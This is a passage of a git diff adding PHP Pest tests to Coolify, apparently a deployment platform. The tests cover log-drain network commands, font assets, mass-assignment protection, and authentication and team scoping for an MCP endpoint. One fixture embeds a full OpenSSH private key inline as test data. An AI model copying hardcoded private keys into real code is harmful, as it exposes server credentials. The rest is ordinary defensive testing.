||||
->assertSet('port', 80)
|
||||
->assertSet('isStatic', false)
|
||||
->assertSet('show_is_static', false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('General view railpack helper text', function () {
|
||||
beforeEach(function () {
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first()
|
||||
?? StandaloneDocker::factory()->create(['server_id' => $this->server->id, 'network' => 'coolify-test']);
|
||||
});
|
||||
|
||||
test('railpack app shows railpack.json helper text and not nixpacks.toml', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'build_pack' => 'railpack',
|
||||
'static_image' => 'nginx:alpine',
|
||||
'base_directory' => '/',
|
||||
'is_http_basic_auth_enabled' => false,
|
||||
'redirect' => 'no',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->assertSee('railpack.json')
|
||||
->assertDontSee('nixpacks.toml');
|
||||
});
|
||||
|
||||
test('nixpacks app shows nixpacks.toml helper text and not railpack.json', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'build_pack' => 'nixpacks',
|
||||
'static_image' => 'nginx:alpine',
|
||||
'base_directory' => '/',
|
||||
'is_http_basic_auth_enabled' => false,
|
||||
'redirect' => 'no',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->assertSee('nixpacks.toml')
|
||||
->assertDontSee('railpack.json');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Server\StartLogDrain;
|
||||
use App\Actions\Service\StartService;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function reflectedLogDrainNetworkCommands(object $action, Server|Service $model): array
|
||||
{
|
||||
$method = new ReflectionMethod($action, 'logDrainNetworkConnectCommands');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return $method->invoke($action, $model);
|
||||
}
|
||||
|
||||
function createServerWithTeam(): Server
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
|
||||
return Server::factory()->create(['team_id' => $team->id]);
|
||||
}
|
||||
|
||||
function createServiceOnServer(Server $server, string $network, bool $connectToDockerNetwork = true): Service
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$destination = StandaloneDocker::query()->firstOrCreate(
|
||||
['server_id' => $server->id, 'network' => $network],
|
||||
['uuid' => fake()->uuid(), 'name' => fake()->unique()->word()]
|
||||
);
|
||||
|
||||
return Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'connect_to_docker_network' => $connectToDockerNetwork,
|
||||
'docker_compose' => "services:\n signoz:\n image: signoz/signoz:latest\n",
|
||||
]);
|
||||
}
|
||||
|
||||
it('connects the log drain container to a service preferred network when the server log drain is enabled', function () {
|
||||
$server = createServerWithTeam();
|
||||
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
|
||||
$service = createServiceOnServer($server, 'signoz-net', true);
|
||||
|
||||
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
|
||||
|
||||
expect($commands)->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true");
|
||||
});
|
||||
|
||||
it('does not connect the log drain container when service preferred network is disabled', function () {
|
||||
$server = createServerWithTeam();
|
||||
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
|
||||
$service = createServiceOnServer($server, 'signoz-net', false);
|
||||
|
||||
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
|
||||
|
||||
expect($commands)->toBeEmpty();
|
||||
});
|
||||
|
||||
it('does not connect the log drain container when the server log drain is disabled', function () {
|
||||
$server = createServerWithTeam();
|
||||
$service = createServiceOnServer($server, 'signoz-net', true);
|
||||
|
||||
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
|
||||
|
||||
expect($commands)->toBeEmpty();
|
||||
});
|
||||
|
||||
it('connects a restarted log drain container to all enabled service preferred networks on the server', function () {
|
||||
$server = createServerWithTeam();
|
||||
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
|
||||
createServiceOnServer($server, 'signoz-net', true);
|
||||
createServiceOnServer($server, 'ignored-net', false);
|
||||
createServiceOnServer($server, 'signoz-net', true);
|
||||
|
||||
$otherServer = createServerWithTeam();
|
||||
createServiceOnServer($otherServer, 'other-server-net', true);
|
||||
|
||||
$commands = reflectedLogDrainNetworkCommands(new StartLogDrain, $server->fresh(['settings']));
|
||||
|
||||
expect($commands)
|
||||
->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true")
|
||||
->not->toContain("docker network connect 'ignored-net' coolify-log-drain >/dev/null 2>&1 || true")
|
||||
->not->toContain("docker network connect 'other-server-net' coolify-log-drain >/dev/null 2>&1 || true");
|
||||
|
||||
expect($commands)->toHaveCount(1);
|
||||
});
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
it('registers geist mono from a local asset for log surfaces', function () {
|
||||
$fontsCss = file_get_contents(resource_path('css/fonts.css'));
|
||||
$appCss = file_get_contents(resource_path('css/app.css'));
|
||||
$fontPath = resource_path('fonts/geist-mono-variable.woff2');
|
||||
$geistSansPath = resource_path('fonts/geist-sans-variable.woff2');
|
||||
|
||||
expect($fontsCss)
|
||||
->toContain("font-family: 'Geist Mono'")
|
||||
->toContain("url('../fonts/geist-mono-variable.woff2')")
|
||||
->toContain("font-family: 'Geist Sans'")
|
||||
->toContain("url('../fonts/geist-sans-variable.woff2')")
|
||||
->and($appCss)
|
||||
->toContain("--font-sans: 'Geist Sans', Inter, sans-serif")
|
||||
->toContain('@apply min-h-screen text-sm font-sans antialiased scrollbar overflow-x-hidden;')
|
||||
->toContain("--font-logs: 'Geist Mono'")
|
||||
->toContain("--font-geist-sans: 'Geist Sans'")
|
||||
->and($fontPath)
|
||||
->toBeFile()
|
||||
->and($geistSansPath)
|
||||
->toBeFile();
|
||||
});
|
||||
|
||||
it('uses geist mono for shared logs and terminal rendering', function () {
|
||||
$sharedLogsView = file_get_contents(resource_path('views/livewire/project/shared/get-logs.blade.php'));
|
||||
$deploymentLogsView = file_get_contents(resource_path('views/livewire/project/application/deployment/show.blade.php'));
|
||||
$activityMonitorView = file_get_contents(resource_path('views/livewire/activity-monitor.blade.php'));
|
||||
$dockerCleanupView = file_get_contents(resource_path('views/livewire/server/docker-cleanup-executions.blade.php'));
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
|
||||
expect($sharedLogsView)
|
||||
->toContain('class="font-logs max-w-full cursor-default"')
|
||||
->toContain('class="font-logs whitespace-pre-wrap break-all max-w-full text-neutral-400"')
|
||||
->and($deploymentLogsView)
|
||||
->toContain('class="flex flex-col font-logs"')
|
||||
->toContain('class="font-logs text-neutral-400 mb-2"')
|
||||
->and($activityMonitorView)
|
||||
->toContain('<pre class="font-logs whitespace-pre-wrap"')
|
||||
->and($dockerCleanupView)
|
||||
->toContain('class="flex-1 text-sm font-logs text-gray-700 dark:text-gray-300"')
|
||||
->toContain('class="font-logs text-sm text-gray-600 dark:text-gray-300 whitespace-pre-wrap"')
|
||||
->and($terminalClient)
|
||||
->toContain('"Geist Mono"');
|
||||
});
|
||||
@@ -0,0 +1,248 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneClickhouse;
|
||||
use App\Models\StandaloneDragonfly;
|
||||
use App\Models\StandaloneKeydb;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
|
||||
describe('mass assignment protection', function () {
|
||||
|
||||
test('no API-exposed model uses unguarded $guarded = []', function () {
|
||||
$models = [
|
||||
Application::class,
|
||||
Service::class,
|
||||
User::class,
|
||||
Team::class,
|
||||
Server::class,
|
||||
StandalonePostgresql::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
StandaloneClickhouse::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
$guarded = $model->getGuarded();
|
||||
$fillable = $model->getFillable();
|
||||
|
||||
// Model must NOT have $guarded = [] (empty guard = no protection)
|
||||
// It should either have non-empty $guarded OR non-empty $fillable
|
||||
$hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true;
|
||||
$hasProtection = $hasProtection || count($fillable) > 0;
|
||||
|
||||
expect($hasProtection)
|
||||
->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)");
|
||||
}
|
||||
});
|
||||
|
||||
test('Application model blocks mass assignment of relationship IDs', function () {
|
||||
$application = new Application;
|
||||
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id'];
|
||||
|
||||
foreach ($dangerousFields as $field) {
|
||||
expect($application->isFillable($field))
|
||||
->toBeFalse("Application model should not allow mass assignment of '{$field}'");
|
||||
}
|
||||
});
|
||||
|
||||
test('Application model allows mass assignment of user-facing fields', function () {
|
||||
$application = new Application;
|
||||
$userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status'];
|
||||
|
||||
foreach ($userFields as $field) {
|
||||
expect($application->isFillable($field))
|
||||
->toBeTrue("Application model should allow mass assignment of '{$field}'");
|
||||
}
|
||||
});
|
||||
|
||||
test('Server model has $fillable and no conflicting $guarded', function () {
|
||||
$server = new Server;
|
||||
$fillable = $server->getFillable();
|
||||
$guarded = $server->getGuarded();
|
||||
|
||||
expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable');
|
||||
|
||||
// Guarded should be the default ['*'] when $fillable is set, not []
|
||||
expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable');
|
||||
});
|
||||
|
||||
test('Server model blocks mass assignment of dangerous fields', function () {
|
||||
$server = new Server;
|
||||
|
||||
// These fields should not be mass-assignable via the API
|
||||
expect($server->isFillable('id'))->toBeFalse();
|
||||
expect($server->isFillable('uuid'))->toBeFalse();
|
||||
expect($server->isFillable('created_at'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('User model blocks mass assignment of auth-sensitive fields', function () {
|
||||
$user = new User;
|
||||
|
||||
expect($user->isFillable('id'))->toBeFalse('User id should not be fillable');
|
||||
expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable');
|
||||
expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable');
|
||||
expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable');
|
||||
expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable');
|
||||
expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable');
|
||||
expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable');
|
||||
expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable');
|
||||
});
|
||||
|
||||
test('User model allows mass assignment of profile fields', function () {
|
||||
$user = new User;
|
||||
|
||||
expect($user->isFillable('name'))->toBeTrue();
|
||||
expect($user->isFillable('email'))->toBeTrue();
|
||||
expect($user->isFillable('password'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('Team model blocks mass assignment of internal fields', function () {
|
||||
$team = new Team;
|
||||
|
||||
expect($team->isFillable('id'))->toBeFalse();
|
||||
expect($team->isFillable('use_instance_email_settings'))->toBeFalse('use_instance_email_settings should not be fillable (migrated to EmailNotificationSettings)');
|
||||
expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)');
|
||||
});
|
||||
|
||||
test('Team model allows mass assignment of expected fields', function () {
|
||||
$team = new Team;
|
||||
|
||||
expect($team->isFillable('name'))->toBeTrue();
|
||||
expect($team->isFillable('description'))->toBeTrue();
|
||||
expect($team->isFillable('personal_team'))->toBeTrue();
|
||||
expect($team->isFillable('show_boarding'))->toBeTrue();
|
||||
expect($team->isFillable('custom_server_limit'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('standalone database models block mass assignment of relationship IDs', function () {
|
||||
$models = [
|
||||
StandalonePostgresql::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
StandaloneClickhouse::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type'];
|
||||
|
||||
foreach ($dangerousFields as $field) {
|
||||
expect($model->isFillable($field))
|
||||
->toBeFalse("Model {$modelClass} should not allow mass assignment of '{$field}'");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('standalone database models allow mass assignment of config fields', function () {
|
||||
$model = new StandalonePostgresql;
|
||||
expect($model->isFillable('name'))->toBeTrue();
|
||||
expect($model->isFillable('postgres_user'))->toBeTrue();
|
||||
expect($model->isFillable('postgres_password'))->toBeTrue();
|
||||
expect($model->isFillable('image'))->toBeTrue();
|
||||
expect($model->isFillable('limits_memory'))->toBeTrue();
|
||||
|
||||
$model = new StandaloneRedis;
|
||||
expect($model->isFillable('redis_conf'))->toBeTrue();
|
||||
|
||||
$model = new StandaloneMysql;
|
||||
expect($model->isFillable('mysql_root_password'))->toBeTrue();
|
||||
|
||||
$model = new StandaloneMongodb;
|
||||
expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('standalone database models allow mass assignment of public_port_timeout', function () {
|
||||
$models = [
|
||||
StandalonePostgresql::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
StandaloneClickhouse::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
expect($model->isFillable('public_port_timeout'))
|
||||
->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'");
|
||||
}
|
||||
});
|
||||
|
||||
test('standalone database models allow mass assignment of SSL fields where applicable', function () {
|
||||
$sslModels = [
|
||||
StandalonePostgresql::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
];
|
||||
|
||||
foreach ($sslModels as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
expect($model->isFillable('enable_ssl'))
|
||||
->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'");
|
||||
}
|
||||
|
||||
// Clickhouse has no SSL columns
|
||||
expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse();
|
||||
|
||||
$sslModeModels = [
|
||||
StandalonePostgresql::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMongodb::class,
|
||||
];
|
||||
|
||||
foreach ($sslModeModels as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
expect($model->isFillable('ssl_mode'))
|
||||
->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'");
|
||||
}
|
||||
});
|
||||
|
||||
test('Application fill ignores non-fillable fields', function () {
|
||||
$application = new Application;
|
||||
$application->fill([
|
||||
'name' => 'test-app',
|
||||
'environment_id' => 999,
|
||||
'destination_id' => 999,
|
||||
'team_id' => 999,
|
||||
'private_key_id' => 999,
|
||||
]);
|
||||
|
||||
expect($application->name)->toBe('test-app');
|
||||
expect($application->environment_id)->toBeNull();
|
||||
expect($application->destination_id)->toBeNull();
|
||||
expect($application->private_key_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('Service model blocks mass assignment of relationship IDs', function () {
|
||||
$service = new Service;
|
||||
|
||||
expect($service->isFillable('id'))->toBeFalse();
|
||||
expect($service->isFillable('uuid'))->toBeFalse();
|
||||
expect($service->isFillable('environment_id'))->toBeFalse();
|
||||
expect($service->isFillable('destination_id'))->toBeFalse();
|
||||
expect($service->isFillable('server_id'))->toBeFalse();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,205 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Once;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::query()->where('id', 0)->delete();
|
||||
InstanceSettings::query()->delete();
|
||||
$settings = new InstanceSettings(['is_mcp_server_enabled' => true]);
|
||||
$settings->id = 0;
|
||||
$settings->save();
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
function mcpPost(array $payload, ?string $token = null)
|
||||
{
|
||||
$headers = [
|
||||
'Content-Type' => 'application/json',
|
||||
'Accept' => 'application/json, text/event-stream',
|
||||
];
|
||||
if ($token) {
|
||||
$headers['Authorization'] = 'Bearer '.$token;
|
||||
}
|
||||
|
||||
return test()->withHeaders($headers)->postJson('/mcp', $payload);
|
||||
}
|
||||
|
||||
function mcpListTools(string $token)
|
||||
{
|
||||
return mcpPost([
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'method' => 'tools/list',
|
||||
'params' => (object) [],
|
||||
], $token);
|
||||
}
|
||||
|
||||
function mcpCallTool(string $token, string $name, array $arguments = [])
|
||||
{
|
||||
return mcpPost([
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'method' => 'tools/call',
|
||||
'params' => [
|
||||
'name' => $name,
|
||||
'arguments' => (object) $arguments,
|
||||
],
|
||||
], $token);
|
||||
}
|
||||
|
||||
function mcpToolJson($response): array
|
||||
{
|
||||
return json_decode($response->json('result.content.0.text'), true);
|
||||
}
|
||||
|
||||
test('MCP endpoint returns 404 when the instance setting is disabled', function () {
|
||||
InstanceSettings::query()->where('id', 0)->update(['is_mcp_server_enabled' => false]);
|
||||
Once::flush();
|
||||
|
||||
$response = mcpPost(['jsonrpc' => '2.0', 'id' => 1, 'method' => 'tools/list']);
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('MCP endpoint rejects unauthenticated requests', function () {
|
||||
$response = mcpPost(['jsonrpc' => '2.0', 'id' => 1, 'method' => 'tools/list']);
|
||||
$response->assertStatus(401);
|
||||
});
|
||||
|
||||
test('MCP endpoint lists tools for an authenticated token', function () {
|
||||
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
|
||||
|
||||
$response = mcpListTools($token);
|
||||
$response->assertOk();
|
||||
|
||||
$toolNames = collect($response->json('result.tools'))->pluck('name')->all();
|
||||
expect($toolNames)->toContain(
|
||||
'get_infrastructure_overview',
|
||||
'list_servers',
|
||||
'get_server',
|
||||
'list_projects',
|
||||
'list_applications',
|
||||
'get_application',
|
||||
'list_databases',
|
||||
'get_database',
|
||||
'list_services',
|
||||
'get_service',
|
||||
);
|
||||
expect($toolNames)->not->toContain('get_resource_status');
|
||||
});
|
||||
|
||||
test('list_projects returns summary + pagination scoped to the token team', function () {
|
||||
$project = Project::create(['name' => 'Mine', 'team_id' => $this->team->id]);
|
||||
|
||||
$otherTeam = Team::factory()->create();
|
||||
Project::create(['name' => 'Theirs', 'team_id' => $otherTeam->id]);
|
||||
|
||||
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
|
||||
|
||||
$response = mcpCallTool($token, 'list_projects');
|
||||
$response->assertOk();
|
||||
|
||||
$body = mcpToolJson($response);
|
||||
|
||||
expect($body)->toHaveKey('data');
|
||||
expect($body)->toHaveKey('_pagination');
|
||||
expect($body['_pagination']['total'])->toBe(1);
|
||||
expect($body['_pagination']['per_page'])->toBe(50);
|
||||
expect($body['_pagination'])->not->toHaveKey('next');
|
||||
|
||||
$uuids = collect($body['data'])->pluck('uuid')->all();
|
||||
$names = collect($body['data'])->pluck('name')->all();
|
||||
expect($uuids)->toContain($project->uuid);
|
||||
expect($names)->not->toContain('Theirs');
|
||||
expect($body['data'][0])->toHaveKeys(['uuid', 'name', 'description']);
|
||||
});
|
||||
|
||||
test('list_projects paginates with per_page cap at 100', function () {
|
||||
for ($i = 0; $i < 3; $i++) {
|
||||
Project::create(['name' => "P{$i}", 'team_id' => $this->team->id]);
|
||||
}
|
||||
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
|
||||
|
||||
$response = mcpCallTool($token, 'list_projects', ['per_page' => 2, 'page' => 1]);
|
||||
$body = mcpToolJson($response);
|
||||
|
||||
expect($body['_pagination']['total'])->toBe(3);
|
||||
expect($body['_pagination']['total_pages'])->toBe(2);
|
||||
expect($body['_pagination']['next']['args'])->toMatchArray(['page' => 2, 'per_page' => 2]);
|
||||
expect($body['data'])->toHaveCount(2);
|
||||
|
||||
// Verify max cap
|
||||
$capped = mcpCallTool($token, 'list_projects', ['per_page' => 500]);
|
||||
$cappedBody = mcpToolJson($capped);
|
||||
expect($cappedBody['_pagination']['per_page'])->toBe(100);
|
||||
});
|
||||
|
||||
test('get_infrastructure_overview returns counts', function () {
|
||||
Project::create(['name' => 'One', 'team_id' => $this->team->id]);
|
||||
Project::create(['name' => 'Two', 'team_id' => $this->team->id]);
|
||||
|
||||
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
|
||||
|
||||
$response = mcpCallTool($token, 'get_infrastructure_overview');
|
||||
$response->assertOk();
|
||||
|
||||
$body = mcpToolJson($response);
|
||||
expect($body)->toHaveKey('data');
|
||||
expect($body['data'])->toHaveKeys(['coolify_version', 'servers', 'projects', 'counts']);
|
||||
expect($body['data']['counts']['projects'])->toBe(2);
|
||||
expect($body['data']['projects'])->toHaveCount(2);
|
||||
expect($body['data']['projects'][0])->toHaveKey('counts');
|
||||
});
|
||||
|
||||
test('get_server scrubs sensitive nested data and exposes connection_timeout', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
// creating hook auto-generates a sentinel_token; bump connection_timeout
|
||||
// via saveQuietly to avoid triggering restartSentinel.
|
||||
$server->settings->forceFill(['connection_timeout' => 42])->saveQuietly();
|
||||
|
||||
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
|
||||
|
||||
$response = mcpCallTool($token, 'get_server', ['uuid' => $server->uuid]);
|
||||
$response->assertOk();
|
||||
|
||||
$body = mcpToolJson($response);
|
||||
$raw = json_encode($body);
|
||||
|
||||
expect($raw)->not->toContain('sentinel_token');
|
||||
expect($raw)->not->toContain('"team_id"');
|
||||
expect($raw)->not->toContain('"private_key_id"');
|
||||
expect($body['data']['connection_timeout'])->toBe(42);
|
||||
expect($body['data']['uuid'])->toBe($server->uuid);
|
||||
});
|
||||
|
||||
test('tool calls fail when the token lacks the read ability', function () {
|
||||
$token = $this->user->createToken('mcp-no-abilities', [])->plainTextToken;
|
||||
|
||||
$response = mcpCallTool($token, 'list_projects');
|
||||
$response->assertOk();
|
||||
|
||||
expect($response->json('result.isError'))->toBeTrue();
|
||||
expect($response->json('result.content.0.text'))->toContain('Missing required permissions');
|
||||
});
|
||||
|
||||
test('MCP rejects token when user no longer belongs to token team', function () {
|
||||
Project::create(['name' => 'Hidden', 'team_id' => $this->team->id]);
|
||||
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
|
||||
|
||||
$this->team->members()->detach($this->user->id);
|
||||
|
||||
$response = mcpCallTool($token, 'list_projects');
|
||||
|
||||
$response->assertUnauthorized();
|
||||
});
|
||||
@@ -0,0 +1,107 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::query()->delete();
|
||||
$settings = new InstanceSettings([
|
||||
'is_mcp_server_enabled' => false,
|
||||
'is_api_enabled' => true,
|
||||
]);
|
||||
$settings->id = 0;
|
||||
$settings->save();
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
function makeRootMcpToken(User $user): string
|
||||
{
|
||||
$token = $user->createToken('mcp-root', ['root']);
|
||||
DB::table('personal_access_tokens')
|
||||
->where('id', $token->accessToken->id)
|
||||
->update(['team_id' => '0']);
|
||||
|
||||
return $token->plainTextToken;
|
||||
}
|
||||
|
||||
function makeNonRootMcpToken(User $user, Team $team, array $abilities = ['write']): string
|
||||
{
|
||||
$token = $user->createToken('mcp-write', $abilities);
|
||||
DB::table('personal_access_tokens')
|
||||
->where('id', $token->accessToken->id)
|
||||
->update(['team_id' => (string) $team->id]);
|
||||
|
||||
return $token->plainTextToken;
|
||||
}
|
||||
|
||||
test('POST /api/v1/mcp/enable enables MCP server with root token', function () {
|
||||
$token = makeRootMcpToken($this->user);
|
||||
|
||||
$response = test()->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token,
|
||||
])->postJson('/api/v1/mcp/enable');
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertJson(['message' => 'MCP server enabled.']);
|
||||
expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeTrue();
|
||||
});
|
||||
|
||||
test('POST /api/v1/mcp/disable disables MCP server with root token', function () {
|
||||
InstanceSettings::query()->where('id', 0)->update(['is_mcp_server_enabled' => true]);
|
||||
$token = makeRootMcpToken($this->user);
|
||||
|
||||
$response = test()->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token,
|
||||
])->postJson('/api/v1/mcp/disable');
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertJson(['message' => 'MCP server disabled.']);
|
||||
expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeFalse();
|
||||
});
|
||||
|
||||
test('non-root token cannot enable MCP server', function () {
|
||||
$token = makeNonRootMcpToken($this->user, $this->team);
|
||||
|
||||
$response = test()->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token,
|
||||
])->postJson('/api/v1/mcp/enable');
|
||||
|
||||
$response->assertStatus(403);
|
||||
expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeFalse();
|
||||
});
|
||||
|
||||
test('non-root token cannot disable MCP server', function () {
|
||||
InstanceSettings::query()->where('id', 0)->update(['is_mcp_server_enabled' => true]);
|
||||
$token = makeNonRootMcpToken($this->user, $this->team);
|
||||
|
||||
$response = test()->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token,
|
||||
])->postJson('/api/v1/mcp/disable');
|
||||
|
||||
$response->assertStatus(403);
|
||||
expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeTrue();
|
||||
});
|
||||
|
||||
test('unauthenticated request to /api/v1/mcp/enable returns 401', function () {
|
||||
$response = test()->postJson('/api/v1/mcp/enable');
|
||||
$response->assertStatus(401);
|
||||
});
|
||||
|
||||
test('read-only token cannot toggle MCP server (lacks write ability)', function () {
